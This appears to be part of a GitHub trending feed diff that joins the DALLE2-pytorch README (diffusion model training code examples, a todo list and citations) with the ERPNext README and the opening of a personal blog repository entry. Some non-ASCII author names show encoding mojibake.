unet1 = Unet(
dim = 128,
image_embed_dim = 512,
cond_dim = 128,
channels = 3,
dim_mults=(1, 2, 4, 8),
text_embed_dim = 512,
cond_on_text_encodings = True # set to True for any unets that need to be conditioned on text encodings (ex. first unet in cascade)
).cuda()
unet2 = Unet(
dim = 16,
image_embed_dim = 512,
cond_dim = 128,
channels = 3,
dim_mults = (1, 2, 4, 8, 16)
).cuda()
decoder = Decoder(
unet = (unet1, unet2),
image_sizes = (128, 256),
clip = clip,
timesteps = 1000,
sample_timesteps = (250, 27),
image_cond_drop_prob = 0.1,
text_cond_drop_prob = 0.5
).cuda()
for unet_number in (1, 2):
loss = decoder(images, text = text, unet_number = unet_number) # this can optionally be decoder(images, text) if you wish to condition on the text encodings as well, though it was hinted in the paper it didn't do much
loss.backward()
# do above for many steps
dalle2 = DALLE2(
prior = diffusion_prior,
decoder = decoder
)
images = dalle2(
['a butterfly trying to escape a tornado'],
cond_scale = 2. # classifier free guidance strength (> 1 would strengthen the condition)
)
# save your image (in this example, of size 256x256)
</code></pre>
<p>Alternatively, you can also use <a href="https://github.com/mlfoundations/open_clip">Open Clip</a></p>
<pre><code class="language-bash">$ pip install open-clip-torch
</code></pre>
<p>Ex. using the <a href="https://laion.ai/blog/large-openclip/">SOTA Open Clip</a> model trained by <a href="https://github.com/rom1504">Romain</a></p>
<pre><code class="language-python">from dalle2_pytorch import OpenClipAdapter
clip = OpenClipAdapter('ViT-H/14')
</code></pre>
<p>Now you'll just have to worry about training the Prior and the Decoder!</p>
<h2>Inpainting</h2>
<p>Inpainting is also built into the <code>Decoder</code>. You simply have to pass in the <code>inpaint_image</code> and <code>inpaint_mask</code> (boolean tensor where <code>True</code> indicates which regions of the inpaint image to keep)</p>
<p>This repository uses the formulation put forth by <a href="https://arxiv.org/abs/2201.09865">Lugmayr et al. in Repaint</a></p>
<pre><code class="language-python">import torch
from dalle2_pytorch import Unet, Decoder, CLIP
# trained clip from step 1
clip = CLIP(
dim_text = 512,
dim_image = 512,
dim_latent = 512,
num_text_tokens = 49408,
text_enc_depth = 6,
text_seq_len = 256,
text_heads = 8,
visual_enc_depth = 6,
visual_image_size = 256,
visual_patch_size = 32,
visual_heads = 8
).cuda()
# 2 unets for the decoder (a la cascading DDPM)
unet = Unet(
dim = 16,
image_embed_dim = 512,
cond_dim = 128,
channels = 3,
dim_mults = (1, 1, 1, 1)
).cuda()
# decoder, which contains the unet(s) and clip
decoder = Decoder(
clip = clip,
unet = (unet,), # insert both unets in order of low resolution to highest resolution (you can have as many stages as you want here)
image_sizes = (256,), # resolutions, 256 for first unet, 512 for second. these must be unique and in ascending order (matches with the unets passed in)
timesteps = 1000,
image_cond_drop_prob = 0.1,
text_cond_drop_prob = 0.5
).cuda()
# mock images (get a lot of this)
images = torch.randn(4, 3, 256, 256).cuda()
# feed images into decoder, specifying which unet you want to train
# each unet can be trained separately, which is one of the benefits of the cascading DDPM scheme
loss = decoder(images, unet_number = 1)
loss.backward()
# do the above for many steps for both unets
mock_image_embed = torch.randn(1, 512).cuda()
# then to do inpainting
inpaint_image = torch.randn(1, 3, 256, 256).cuda() # (batch, channels, height, width)
inpaint_mask = torch.ones(1, 256, 256).bool().cuda() # (batch, height, width)
inpainted_images = decoder.sample(
image_embed = mock_image_embed,
inpaint_image = inpaint_image, # just pass in the inpaint image
inpaint_mask = inpaint_mask # and the mask
)
inpainted_images.shape # (1, 3, 256, 256)
</code></pre>
<h2>Experimental</h2>
<h3>DALL-E2 with Latent Diffusion</h3>
<p>This repository decides to take the next step and offer DALL-E v2 combined with <a href="https://huggingface.co/spaces/multimodalart/latentdiffusion">latent diffusion</a>, from Rombach et al.</p>
<p>You can use it as follows. Latent diffusion can be limited to just the first U-Net in the cascade, or to any number you wish.</p>
<p>The repository also comes equipped with all the necessary settings to recreate <code>ViT-VQGan</code> from the <a href="https://arxiv.org/abs/2110.04627">Improved VQGans</a> paper. Furthermore, the <a href="https://github.com/lucidrains/vector-quantize-pytorch">vector quantization</a> library also comes equipped to do <a href="https://arxiv.org/abs/2203.01941">residual or multi-headed quantization</a>, which I believe will give an even further boost in performance to the autoencoder.</p>
<pre><code class="language-python">import torch
from dalle2_pytorch import Unet, Decoder, CLIP, VQGanVAE
# trained clip from step 1
clip = CLIP(
dim_text = 512,
dim_image = 512,
dim_latent = 512,
num_text_tokens = 49408,
text_enc_depth = 1,
text_seq_len = 256,
text_heads = 8,
visual_enc_depth = 1,
visual_image_size = 256,
visual_patch_size = 32,
visual_heads = 8
)
# 3 unets for the decoder (a la cascading DDPM)
# first two unets are doing latent diffusion
# vqgan-vae must be trained beforehand
vae1 = VQGanVAE(
dim = 32,
image_size = 256,
layers = 3,
layer_mults = (1, 2, 4)
)
vae2 = VQGanVAE(
dim = 32,
image_size = 512,
layers = 3,
layer_mults = (1, 2, 4)
)
unet1 = Unet(
dim = 32,
image_embed_dim = 512,
cond_dim = 128,
channels = 3,
sparse_attn = True,
sparse_attn_window = 2,
dim_mults = (1, 2, 4, 8)
)
unet2 = Unet(
dim = 32,
image_embed_dim = 512,
channels = 3,
dim_mults = (1, 2, 4, 8, 16),
cond_on_image_embeds = True,
cond_on_text_encodings = False
)
unet3 = Unet(
dim = 32,
image_embed_dim = 512,
channels = 3,
dim_mults = (1, 2, 4, 8, 16),
cond_on_image_embeds = True,
cond_on_text_encodings = False,
attend_at_middle = False
)
# decoder, which contains the unet(s) and clip
decoder = Decoder(
clip = clip,
vae = (vae1, vae2), # latent diffusion for unet1 (vae1) and unet2 (vae2), but not for the last unet3
unet = (unet1, unet2, unet3), # insert unets in order of low resolution to highest resolution (you can have as many stages as you want here)
image_sizes = (256, 512, 1024), # resolutions, 256 for first unet, 512 for second, 1024 for third
timesteps = 100,
image_cond_drop_prob = 0.1,
text_cond_drop_prob = 0.5
).cuda()
# mock images (get a lot of this)
images = torch.randn(1, 3, 1024, 1024).cuda()
# feed images into decoder, specifying which unet you want to train
# each unet can be trained separately, which is one of the benefits of the cascading DDPM scheme
with decoder.one_unet_in_gpu(1):
loss = decoder(images, unet_number = 1)
loss.backward()
with decoder.one_unet_in_gpu(2):
loss = decoder(images, unet_number = 2)
loss.backward()
with decoder.one_unet_in_gpu(3):
loss = decoder(images, unet_number = 3)
loss.backward()
# do the above for many steps for both unets
# then it will learn to generate images based on the CLIP image embeddings
# chaining the unets from lowest resolution to highest resolution (thus cascading)
mock_image_embed = torch.randn(1, 512).cuda()
images = decoder.sample(mock_image_embed) # (1, 3, 1024, 1024)
</code></pre>
<h2>Training wrapper</h2>
<h3>Decoder Training</h3>
<p>Training the <code>Decoder</code> may be confusing, as one needs to keep track of an optimizer for each of the <code>Unet</code>(s) separately. Each <code>Unet</code> will also need its own corresponding exponential moving average. The <code>DecoderTrainer</code> hopes to make this simple, as shown below</p>
<pre><code class="language-python">import torch
from dalle2_pytorch import DALLE2, Unet, Decoder, CLIP, DecoderTrainer
clip = CLIP(
dim_text = 512,
dim_image = 512,
dim_latent = 512,
num_text_tokens = 49408,
text_enc_depth = 6,
text_seq_len = 256,
text_heads = 8,
visual_enc_depth = 6,
visual_image_size = 256,
visual_patch_size = 32,
visual_heads = 8
).cuda()
# mock data
text = torch.randint(0, 49408, (32, 256)).cuda()
images = torch.randn(32, 3, 256, 256).cuda()
# decoder (with unet)
unet1 = Unet(
dim = 128,
image_embed_dim = 512,
text_embed_dim = 512,
cond_dim = 128,
channels = 3,
dim_mults=(1, 2, 4, 8),
cond_on_text_encodings = True,
).cuda()
unet2 = Unet(
dim = 16,
image_embed_dim = 512,
cond_dim = 128,
channels = 3,
dim_mults = (1, 2, 4, 8, 16),
).cuda()
decoder = Decoder(
unet = (unet1, unet2),
image_sizes = (128, 256),
clip = clip,
timesteps = 1000
).cuda()
decoder_trainer = DecoderTrainer(
decoder,
lr = 3e-4,
wd = 1e-2,
ema_beta = 0.99,
ema_update_after_step = 1000,
ema_update_every = 10,
)
for unet_number in (1, 2):
loss = decoder_trainer(
images,
text = text,
unet_number = unet_number, # which unet to train on
max_batch_size = 4 # gradient accumulation - this sets the maximum batch size in which to do forward and backwards pass - for this example 32 / 4 == 8 times
)
decoder_trainer.update(unet_number) # update the specific unet as well as its exponential moving average
# after much training
# you can sample from the exponentially moving averaged unets as so
mock_image_embed = torch.randn(32, 512).cuda()
images = decoder_trainer.sample(image_embed = mock_image_embed, text = text) # (4, 3, 256, 256)
</code></pre>
<h3>Diffusion Prior Training</h3>
<p>Similarly, one can use the <code>DiffusionPriorTrainer</code> to automatically instantiate and keep track of an exponential moving averaged prior.</p>
<pre><code class="language-python">import torch
from dalle2_pytorch import DALLE2, DiffusionPriorNetwork, DiffusionPrior, DiffusionPriorTrainer, Unet, Decoder, CLIP
clip = CLIP(
dim_text = 512,
dim_image = 512,
dim_latent = 512,
num_text_tokens = 49408,
text_enc_depth = 6,
text_seq_len = 256,
text_heads = 8,
visual_enc_depth = 6,
visual_image_size = 256,
visual_patch_size = 32,
visual_heads = 8
).cuda()
# mock data
text = torch.randint(0, 49408, (512, 256)).cuda()
images = torch.randn(512, 3, 256, 256).cuda()
# prior networks (with transformer)
prior_network = DiffusionPriorNetwork(
dim = 512,
depth = 6,
dim_head = 64,
heads = 8
).cuda()
diffusion_prior = DiffusionPrior(
net = prior_network,
clip = clip,
timesteps = 100,
cond_drop_prob = 0.2
).cuda()
diffusion_prior_trainer = DiffusionPriorTrainer(
diffusion_prior,
lr = 3e-4,
wd = 1e-2,
ema_beta = 0.99,
ema_update_after_step = 1000,
ema_update_every = 10,
)
loss = diffusion_prior_trainer(text, images, max_batch_size = 4)
diffusion_prior_trainer.update() # this will update the optimizer as well as the exponential moving averaged diffusion prior
# after much of the above three lines in a loop
# you can sample from the exponential moving average of the diffusion prior identically to how you do so for DiffusionPrior
image_embeds = diffusion_prior_trainer.sample(text, max_batch_size = 4) # (512, 512) - exponential moving averaged image embeddings
</code></pre>
<h2>Bonus</h2>
<h3>Unconditional Training</h3>
<p>The repository also contains the means to train unconditional DDPM model, or even cascading DDPMs. You simply have to set <code>unconditional = True</code> in the <code>Decoder</code></p>
<p>ex.</p>
<pre><code class="language-python">import torch
from dalle2_pytorch import Unet, Decoder, DecoderTrainer
# unet for the cascading ddpm
unet1 = Unet(
dim = 128,
dim_mults=(1, 2, 4, 8)
).cuda()
unet2 = Unet(
dim = 32,
dim_mults = (1, 2, 4, 8, 16)
).cuda()
# decoder, which contains the unets
decoder = Decoder(
unet = (unet1, unet2),
image_sizes = (256, 512), # first unet up to 256px, then second to 512px
timesteps = 1000,
unconditional = True
).cuda()
# decoder trainer
decoder_trainer = DecoderTrainer(decoder)
# images (get a lot of this)
images = torch.randn(1, 3, 512, 512).cuda()
# feed images into decoder
for i in (1, 2):
loss = decoder_trainer(images, unet_number = i)
decoder_trainer.update(unet_number = i)
# do the above for many many many many images
# then it will learn to generate images
images = decoder_trainer.sample(batch_size = 36, max_batch_size = 4) # (36, 3, 512, 512)
</code></pre>
<h2>Dataloaders</h2>
<h3>Decoder Dataloaders</h3>
<p>In order to make loading data simple and efficient, we include some general dataloaders that can be used to train portions of the network.</p>
<h4>Decoder: Image Embedding Dataset</h4>
<p>When training the decoder (and up samplers if training together) in isolation, you will need to load images and corresponding image embeddings. This dataset can read two similar types of datasets. First, it can read a <a href="https://github.com/webdataset/webdataset">webdataset</a> that contains <code>.jpg</code> and <code>.npy</code> files in the <code>.tar</code>s that contain the images and associated image embeddings respectively. Alternatively, you can also specify a source for the embeddings outside of the webdataset. In this case, the path to the embeddings should contain <code>.npy</code> files with the same shard numbers as the webdataset and there should be a correspondence between the filename of the <code>.jpg</code> and the index of the embedding in the <code>.npy</code>. So, for example, <code>0001.tar</code> from the webdataset with image <code>00010509.jpg</code> (the first 4 digits are the shard number and the last 4 are the index) in it should be paralleled by a <code>img_emb_0001.npy</code> which contains a NumPy array with the embedding at index 509.</p>
<p>Generating a dataset of this type:</p>
<ol>
<li>Use <a href="https://github.com/rom1504/img2dataset">img2dataset</a> to generate a webdataset.</li>
<li>Use <a href="https://github.com/rom1504/clip-retrieval">clip-retrieval</a> to convert the images to embeddings.</li>
<li>Use <a href="https://github.com/Veldrovive/embedding-dataset-reordering">embedding-dataset-reordering</a> to reorder the embeddings into the expected format.</li>
</ol>
<p>Usage:</p>
<pre><code class="language-python">from dalle2_pytorch.dataloaders import ImageEmbeddingDataset, create_image_embedding_dataloader
# Create a dataloader directly.
dataloader = create_image_embedding_dataloader(
tar_url="/path/or/url/to/webdataset/{0000..9999}.tar", # Uses bracket expanding notation. This specifies to read all tars from 0000.tar to 9999.tar
embeddings_url="path/or/url/to/embeddings/folder", # Included if .npy files are not in webdataset. Left out or set to None otherwise
num_workers=4,
batch_size=32,
shard_width=4, # If a file in the webdataset shard 3 is named 0003039.jpg, we know the shard width is 4 and the last three digits are the index
shuffle_num=200, # Does a shuffle of the data with a buffer size of 200
shuffle_shards=True, # Shuffle the order the shards are read in
resample_shards=False, # Sample shards with replacement. If true, an epoch will be infinite unless stopped manually
)
for img, emb in dataloader:
print(img.shape) # torch.Size([32, 3, 256, 256])
print(emb["img"].shape) # torch.Size([32, 512])
# Train decoder only as shown above
# Or create a dataset without a loader so you can configure it manually
dataset = ImageEmbeddingDataset(
urls="/path/or/url/to/webdataset/{0000..9999}.tar",
embedding_folder_url="path/or/url/to/embeddings/folder",
shard_width=4,
shuffle_shards=True,
resample=False
)
</code></pre>
<h3>Scripts</h3>
<h4><code>train_diffusion_prior.py</code></h4>
<p>For detailed information on training the diffusion prior, please refer to the <a href="https://raw.githubusercontent.com/lucidrains/DALLE2-pytorch/main/prior.md">dedicated readme</a></p>
<h2>Todo</h2>
<ul>
<li><input type="checkbox" checked disabled> finish off gaussian diffusion class for latent embedding - allow for prediction of epsilon</li>
<li><input type="checkbox" checked disabled> add what was proposed in the paper, where DDPM objective for image latent embedding predicts x0 directly (reread vq-diffusion paper and get caught up on that line of work)</li>
<li><input type="checkbox" checked disabled> make sure it works end to end to produce an output tensor, taking a single gradient step</li>
<li><input type="checkbox" checked disabled> augment unet so that it can also be conditioned on text encodings (although in paper they hinted this didn't make much a difference)</li>
<li><input type="checkbox" checked disabled> figure out all the current bag of tricks needed to make DDPMs great (starting with the blur trick mentioned in paper)</li>
<li><input type="checkbox" checked disabled> build the cascading ddpm by having Decoder class manage multiple unets at different resolutions</li>
<li><input type="checkbox" checked disabled> add efficient attention in unet</li>
<li><input type="checkbox" checked disabled> be able to finely customize what to condition on (text, image embed) for specific unet in the cascade (super resolution ddpms near the end may not need too much conditioning)</li>
<li><input type="checkbox" checked disabled> offload unets not being trained on to CPU for memory efficiency (for training each resolution unets separately)</li>
<li><input type="checkbox" checked disabled> build out latent diffusion architecture, with the vq-reg variant (vqgan-vae), make it completely optional and compatible with cascading ddpms</li>
<li><input type="checkbox" checked disabled> for decoder, allow ability to customize objective (predict epsilon vs x0), in case latent diffusion does better with prediction of x0</li>
<li><input type="checkbox" checked disabled> use attention-based upsampling <a href="https://arxiv.org/abs/2112.11435">https://arxiv.org/abs/2112.11435</a></li>
<li><input type="checkbox" checked disabled> use inheritance just this once for sharing logic between decoder and prior network ddpms</li>
<li><input type="checkbox" checked disabled> bring in vit-vqgan <a href="https://arxiv.org/abs/2110.04627">https://arxiv.org/abs/2110.04627</a> for the latent diffusion</li>
<li><input type="checkbox" checked disabled> abstract interface for CLIP adapter class, so other CLIPs can be brought in</li>
<li><input type="checkbox" checked disabled> take care of mixed precision as well as gradient accumulation within decoder trainer</li>
<li><input type="checkbox" checked disabled> just take care of the training for the decoder in a wrapper class, as each unet in the cascade will need its own optimizer</li>
<li><input type="checkbox" checked disabled> bring in tools to train vqgan-vae</li>
<li><input type="checkbox" checked disabled> add convnext backbone for vqgan-vae (in addition to vit [vit-vqgan] + resnet)</li>
<li><input type="checkbox" checked disabled> make sure DDPMs can be run with traditional resnet blocks (but leave convnext as an option for experimentation)</li>
<li><input type="checkbox" checked disabled> make sure for the latter unets in the cascade, one can train on crops for learning super resolution (constrain the unet to be only convolutions in that case, or allow conv-like attention with rel pos bias)</li>
<li><input type="checkbox" checked disabled> offer setting in diffusion prior to split time and image embeddings into multiple tokens, configurable, for more surface area during attention</li>
<li><input type="checkbox" checked disabled> make sure resnet hyperparameters can be configurable across unet depth (groups and expansion factor)</li>
<li><input type="checkbox" checked disabled> pull logic for training diffusion prior into a class DiffusionPriorTrainer, for eventual script based + CLI based training</li>
<li><input type="checkbox" checked disabled> make sure the cascading ddpm in the repository can be trained unconditionally, offer a one-line CLI tool for training on a folder of images</li>
<li><input type="checkbox" checked disabled> bring in cross-scale embedding from iclr paper <a href="https://github.com/lucidrains/vit-pytorch/raw/main/vit_pytorch/crossformer.py#L14">https://github.com/lucidrains/vit-pytorch/blob/main/vit_pytorch/crossformer.py#L14</a></li>
<li><input type="checkbox" checked disabled> cross embed layers for downsampling, as an option</li>
<li><input type="checkbox" checked disabled> use an experimental tracker agnostic setup, as done <a href="https://github.com/lucidrains/tf-bind-transformer#simple-trainer-class-for-fine-tuning">here</a></li>
<li><input type="checkbox" checked disabled> use pydantic for config drive training</li>
<li><input type="checkbox" checked disabled> for both diffusion prior and decoder, all exponential moving averaged models needs to be saved and restored as well (as well as the step number)</li>
<li><input type="checkbox" checked disabled> offer save / load methods on the trainer classes to automatically take care of state dicts for scalers / optimizers / saving versions and checking for breaking changes</li>
<li><input type="checkbox" checked disabled> allow for creation of diffusion prior model off pydantic config classes - consider the same for tracker configs</li>
<li><input type="checkbox" checked disabled> bring in skip-layer excitations (from lightweight gan paper) to see if it helps for either decoder of unet or vqgan-vae training (doesnt work well)</li>
<li><input type="checkbox" checked disabled> test out grid attention in cascading ddpm locally, decide whether to keep or remove <a href="https://arxiv.org/abs/2204.01697">https://arxiv.org/abs/2204.01697</a> (keeping, seems to be fine)</li>
<li><input type="checkbox" checked disabled> allow for unet to be able to condition non-cross attention style as well</li>
<li><input type="checkbox" checked disabled> speed up inference, read up on papers (ddim)</li>
<li><input type="checkbox" checked disabled> add inpainting ability using resampler from repaint paper <a href="https://arxiv.org/abs/2201.09865">https://arxiv.org/abs/2201.09865</a></li>
<li><input type="checkbox" checked disabled> add the final combination of upsample feature maps, used in unet squared, seems to have an effect in local experiments</li>
<li><input type="checkbox" disabled> consider elucidated dalle2 <a href="https://arxiv.org/abs/2206.00364">https://arxiv.org/abs/2206.00364</a></li>
<li><input type="checkbox" disabled> add simple outpainting, text-guided 2x size the image for starters</li>
<li><input type="checkbox" disabled> interface out the vqgan-vae so a pretrained one can be pulled off the shelf to validate latent diffusion + DALL-E2</li>
</ul>
<h2>Citations</h2>
<pre><code class="language-bibtex">@misc{ramesh2022,
title = {Hierarchical Text-Conditional Image Generation with CLIP Latents},
author = {Aditya Ramesh et al},
year = {2022}
}
</code></pre>
<pre><code class="language-bibtex">@misc{crowson2022,
author = {Katherine Crowson},
url = {https://twitter.com/rivershavewings}
}
</code></pre>
<pre><code class="language-bibtex">@misc{rombach2021highresolution,
title = {High-Resolution Image Synthesis with Latent Diffusion Models},
author = {Robin Rombach and Andreas Blattmann and Dominik Lorenz and Patrick Esser and Bjรถrn Ommer},
year = {2021},
eprint = {2112.10752},
archivePrefix = {arXiv},
primaryClass = {cs.CV}
}
</code></pre>
<pre><code class="language-bibtex">@article{shen2019efficient,
author = {Zhuoran Shen and Mingyuan Zhang and Haiyu Zhao and Shuai Yi and Hongsheng Li},
title = {Efficient Attention: Attention with Linear Complexities},
journal = {CoRR},
year = {2018},
url = {http://arxiv.org/abs/1812.01243},
}
</code></pre>
<pre><code class="language-bibtex">@article{Yu2021VectorquantizedIM,
title = {Vector-quantized Image Modeling with Improved VQGAN},
author = {Jiahui Yu and Xin Li and Jing Yu Koh and Han Zhang and Ruoming Pang and James Qin and Alexander Ku and Yuanzhong Xu and Jason Baldridge and Yonghui Wu},
journal = {ArXiv},
year = {2021},
volume = {abs/2110.04627}
}
</code></pre>
<pre><code class="language-bibtex">@article{Shleifer2021NormFormerIT,
title = {NormFormer: Improved Transformer Pretraining with Extra Normalization},
author = {Sam Shleifer and Jason Weston and Myle Ott},
journal = {ArXiv},
year = {2021},
volume = {abs/2110.09456}
}
</code></pre>
<pre><code class="language-bibtex">@article{Yu2022CoCaCC,
title = {CoCa: Contrastive Captioners are Image-Text Foundation Models},
author = {Jiahui Yu and Zirui Wang and Vijay Vasudevan and Legg Yeung and Mojtaba Seyedhosseini and Yonghui Wu},
journal = {ArXiv},
year = {2022},
volume = {abs/2205.01917}
}
</code></pre>
<pre><code class="language-bibtex">@misc{wang2021crossformer,
title = {CrossFormer: A Versatile Vision Transformer Hinging on Cross-scale Attention},
author = {Wenxiao Wang and Lu Yao and Long Chen and Binbin Lin and Deng Cai and Xiaofei He and Wei Liu},
year = {2021},
eprint = {2108.00154},
archivePrefix = {arXiv},
primaryClass = {cs.CV}
}
</code></pre>
<pre><code class="language-bibtex">@article{ho2021cascaded,
title = {Cascaded Diffusion Models for High Fidelity Image Generation},
author = {Ho, Jonathan and Saharia, Chitwan and Chan, William and Fleet, David J and Norouzi, Mohammad and Salimans, Tim},
journal = {arXiv preprint arXiv:2106.15282},
year = {2021}
}
</code></pre>
<pre><code class="language-bibtex">@misc{Saharia2022,
title = {Imagen: unprecedented photorealism ร deep level of language understanding},
author = {Chitwan Saharia*, William Chan*, Saurabh Saxenaโ , Lala Liโ , Jay Whangโ , Emily Denton, Seyed Kamyar Seyed Ghasemipour, Burcu Karagol Ayan, S. Sara Mahdavi, Rapha Gontijo Lopes, Tim Salimans, Jonathan Hoโ , David Fleetโ , Mohammad Norouzi*},
year = {2022}
}
</code></pre>
<pre><code class="language-bibtex">@article{Choi2022PerceptionPT,
title = {Perception Prioritized Training of Diffusion Models},
author = {Jooyoung Choi and Jungbeom Lee and Chaehun Shin and Sungwon Kim and Hyunwoo J. Kim and Sung-Hoon Yoon},
journal = {ArXiv},
year = {2022},
volume = {abs/2204.00227}
}
</code></pre>
<pre><code class="language-bibtex">@article{Saharia2021PaletteID,
title = {Palette: Image-to-Image Diffusion Models},
author = {Chitwan Saharia and William Chan and Huiwen Chang and Chris A. Lee and Jonathan Ho and Tim Salimans and David J. Fleet and Mohammad Norouzi},
journal = {ArXiv},
year = {2021},
volume = {abs/2111.05826}
}
</code></pre>
<pre><code class="language-bibtex">@article{Lugmayr2022RePaintIU,
title = {RePaint: Inpainting using Denoising Diffusion Probabilistic Models},
author = {Andreas Lugmayr and Martin Danelljan and Andr{\'e}s Romero and Fisher Yu and Radu Timofte and Luc Van Gool},
journal = {ArXiv},
year = {2022},
volume = {abs/2201.09865}
}
</code></pre>
<pre><code class="language-bibtex">@misc{chen2022analog,
title = {Analog Bits: Generating Discrete Data using Diffusion Models with Self-Conditioning},
author = {Ting Chen and Ruixiang Zhang and Geoffrey Hinton},
year = {2022},
eprint = {2208.04202},
archivePrefix = {arXiv},
primaryClass = {cs.CV}
}
</code></pre>
<pre><code class="language-bibtex">@article{Qiao2019WeightS,
title = {Weight Standardization},
author = {Siyuan Qiao and Huiyu Wang and Chenxi Liu and Wei Shen and Alan Loddon Yuille},
journal = {ArXiv},
year = {2019},
volume = {abs/1903.10520}
}
</code></pre>
<pre><code class="language-bibtex">@inproceedings{rogozhnikov2022einops,
title = {Einops: Clear and Reliable Tensor Manipulations with Einstein-like Notation},
author = {Alex Rogozhnikov},
booktitle = {International Conference on Learning Representations},
year = {2022},
url = {https://openreview.net/forum?id=oapKSVM2bcj}
}
</code></pre>
<pre><code class="language-bibtex">@article{Sunkara2022NoMS,
title = {No More Strided Convolutions or Pooling: A New CNN Building Block for Low-Resolution Images and Small Objects},
author = {Raja Sunkara and Tie Luo},
journal = {ArXiv},
year = {2022},
volume = {abs/2208.03641}
}
</code></pre>
<pre><code class="language-bibtex">@article{Salimans2022ProgressiveDF,
title = {Progressive Distillation for Fast Sampling of Diffusion Models},
author = {Tim Salimans and Jonathan Ho},
journal = {ArXiv},
year = {2022},
volume = {abs/2202.00512}
}
</code></pre>
<p><em>Creating noise from data is easy; creating data from noise is generative modeling.</em> - <a href="https://arxiv.org/abs/2011.13456">Yang Song's paper</a></p>
+ frappe/erpnext
+ 2024-01-04T01:36:57Z
+ tag:github.com,2024-01-04:/frappe/erpnext
+
+ <p>Free and Open Source Enterprise Resource Planning (ERP)</p><hr><div align="center">
<a href="https://erpnext.com"> <img src="https://raw.githubusercontent.com/frappe/erpnext/develop/erpnext/public/images/erpnext-logo.png" height="128"> </a>
<h2>ERPNext</h2>
<p align="center"> </p>
<p>ERP made simple</p>
<p></p>
<p><a href="https://github.com/frappe/erpnext/actions/workflows/server-tests.yml"><img src="https://github.com/frappe/erpnext/actions/workflows/server-tests.yml/badge.svg?branch=develop" alt="CI"></a> <a href="https://github.com/erpnext/erpnext_ui_tests/actions/workflows/ui-tests.yml"><img src="https://github.com/erpnext/erpnext_ui_tests/actions/workflows/ui-tests.yml/badge.svg?branch=develop&event=schedule" alt="UI"></a> <a href="https://www.codetriage.com/frappe/erpnext"><img src="https://www.codetriage.com/frappe/erpnext/badges/users.svg?sanitize=true" alt="Open Source Helpers"></a> <a href="https://codecov.io/gh/frappe/erpnext"><img src="https://codecov.io/gh/frappe/erpnext/branch/develop/graph/badge.svg?token=0TwvyUg3I5" alt="codecov"></a> <a href="https://hub.docker.com/r/frappe/erpnext-worker"><img src="https://img.shields.io/docker/pulls/frappe/erpnext-worker.svg?sanitize=true" alt="docker pulls"></a></p>
<p><a href="https://erpnext.com">https://erpnext.com</a></p>
</div>
<p>ERPNext as a monolith includes the following areas for managing businesses:</p>
<ol>
<li><a href="https://erpnext.com/open-source-accounting">Accounting</a></li>
<li><a href="https://erpnext.com/distribution/warehouse-management-system">Warehouse Management</a></li>
<li><a href="https://erpnext.com/open-source-crm">CRM</a></li>
<li><a href="https://erpnext.com/open-source-sales-purchase">Sales</a></li>
<li><a href="https://erpnext.com/open-source-sales-purchase">Purchase</a></li>
<li><a href="https://erpnext.com/open-source-hrms">HRMS</a></li>
<li><a href="https://erpnext.com/open-source-projects">Project Management</a></li>
<li><a href="https://erpnext.com/open-source-help-desk-software">Support</a></li>
<li><a href="https://erpnext.com/open-source-asset-management-software">Asset Management</a></li>
<li><a href="https://erpnext.com/docs/user/manual/en/quality-management">Quality Management</a></li>
<li><a href="https://erpnext.com/open-source-manufacturing-erp-software">Manufacturing</a></li>
<li><a href="https://erpnext.com/open-source-website-builder-software">Website Management</a></li>
<li><a href="https://erpnext.com/docs/user/manual/en/customize-erpnext">Customize ERPNext</a></li>
<li><a href="https://erpnext.com/docs/user/manual/en/">And More</a></li>
</ol>
<p>ERPNext is built on the <a href="https://github.com/frappe/frappe">Frappe Framework</a>, a full-stack web app framework built with Python & JavaScript.</p>
<h2>Installation</h2>
<div align="center" style="max-height: 40px;">
<a href="https://frappecloud.com/erpnext/signup"> <img src="https://raw.githubusercontent.com/frappe/erpnext/develop/.github/try-on-f-cloud-button.svg?sanitize=true" height="40"> </a>
<a href="https://labs.play-with-docker.com/?stack=https://raw.githubusercontent.com/frappe/frappe_docker/main/pwd.yml"> <img src="https://raw.githubusercontent.com/play-with-docker/stacks/master/assets/images/button.png" alt="Try in PWD" height="37"> </a>
</div>
<blockquote>
<p>Login for the PWD site: (username: Administrator, password: admin)</p>
</blockquote>
<h3>Containerized Installation</h3>
<p>Use docker to deploy ERPNext in production or for development of <a href="https://github.com/frappe/frappe">Frappe</a> apps. See <a href="https://github.com/frappe/frappe_docker">https://github.com/frappe/frappe_docker</a> for more details.</p>
<h3>Manual Install</h3>
<p>The Easy Way: our install script for bench will install all dependencies (e.g. MariaDB). See <a href="https://github.com/frappe/bench">https://github.com/frappe/bench</a> for more details.</p>
<p>New passwords will be created for the ERPNext "Administrator" user, the MariaDB root user, and the frappe user (the script displays the passwords and saves them to ~/frappe_passwords.txt).</p>
<h2>Learning and community</h2>
<ol>
<li><a href="https://frappe.school">Frappe School</a> - Learn Frappe Framework and ERPNext from the various courses by the maintainers or from the community.</li>
<li><a href="https://docs.erpnext.com/">Official documentation</a> - Extensive documentation for ERPNext.</li>
<li><a href="https://discuss.erpnext.com/">Discussion Forum</a> - Engage with community of ERPNext users and service providers.</li>
<li><a href="https://erpnext_public.t.me">Telegram Group</a> - Get instant help from huge community of users.</li>
</ol>
<h2>Contributing</h2>
<ol>
<li><a href="https://github.com/frappe/erpnext/wiki/Issue-Guidelines">Issue Guidelines</a></li>
<li><a href="https://erpnext.com/security">Report Security Vulnerabilities</a></li>
<li><a href="https://github.com/frappe/erpnext/wiki/Contribution-Guidelines">Pull Request Requirements</a></li>
</ol>
<h2>License</h2>
<p>GNU/General Public License (see <a href="https://raw.githubusercontent.com/frappe/erpnext/develop/license.txt">license.txt</a>)</p>
<p>The ERPNext code is licensed as GNU General Public License (v3) and the Documentation is licensed as Creative Commons (CC-BY-SA-3.0) and the copyright is owned by Frappe Technologies Pvt Ltd (Frappe) and Contributors.</p>
<p>By contributing to ERPNext, you agree that your contributions will be licensed under its GNU General Public License (v3).</p>
<h2>Logo and Trademark Policy</h2>
<p>Please read our <a href="https://raw.githubusercontent.com/frappe/erpnext/develop/TRADEMARK_POLICY.md">Logo and Trademark Policy</a>.</p>
- yihong0618/gitblog
- 2024-01-03T01:36:06Z
- tag:github.com,2024-01-03:/yihong0618/gitblog
-
- <p>People Die, but Long Live GitHub</p><hr><h2>Gitblog</h2>
<p>My personal blog using issues and GitHub Actions (้ๆ่ฝฌ่ฝฝ๏ผๆ ้็ฝฒๅ) <a href="https://raw.githubusercontent.com/yihong0618/gitblog/master/feed.xml">RSS Feed</a></p>
<h2><a href="https://github.com/yihong0618/gitblog/issues/217">ๅๆ ้พๆฅ</a></h2>
<table>
